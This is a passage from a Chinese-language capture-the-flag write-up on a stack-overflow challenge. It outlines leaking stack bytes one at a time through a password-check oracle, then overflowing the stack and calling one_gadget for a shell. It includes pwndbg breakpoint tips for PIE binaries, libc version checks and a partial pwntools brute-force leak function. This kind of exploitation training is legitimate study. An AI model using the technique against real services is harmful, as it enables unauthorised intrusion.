那么整个题目的思路也就出来了,我们可以利用one by one泄漏出栈内信息,然后构建栈完成栈溢出,最后使用one_gadget完成get shell,因为直接使用\x00无法通过最后的memcmp检验,所以还是需要爆破
使用pwndbg调试的时候给开启pie的程序高效下断点:b *$rebase(偏移)
1
b*$rebase(0xf5d)
需要注意的是题目给的libc和我们自己的版本并不一样
1 2 3 4 5 6 7 8 9
$ strings libc_64.so.6 | grep GNU GNU C Library (Ubuntu GLIBC 2.23-0ubuntu5) stable release version 2.23, by Roland McGrath et al. Compiled by GNU CC version 5.4.0 20160609. GNU Libidn by Simon Josefsson
$ strings my_ubuntu64_libc.so | grep GNU GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11.2) stable release version 2.23, by Roland McGrath et al. Compiled by GNU CC version 5.4.0 20160609. GNU Libidn by Simon Josefsson
################################################ s = io.send # sl = io.sendline # sa = io.sendafter # sla = io.sendlineafter # r = io.recv # rl = io.recvline # ru = io.recvuntil # it = io.interactive # ################################################
defleak_stack(len): mes = "" for i in range(len): for j in range(0x1,0x100): sla(">> ","1") sla("passowrd :",mes+chr(j)+"\x00") recv = ru("\n") if"Success"in recv: mes += chr(j) log.success("message: "+mes) sla(">> ","1") # logout break return mes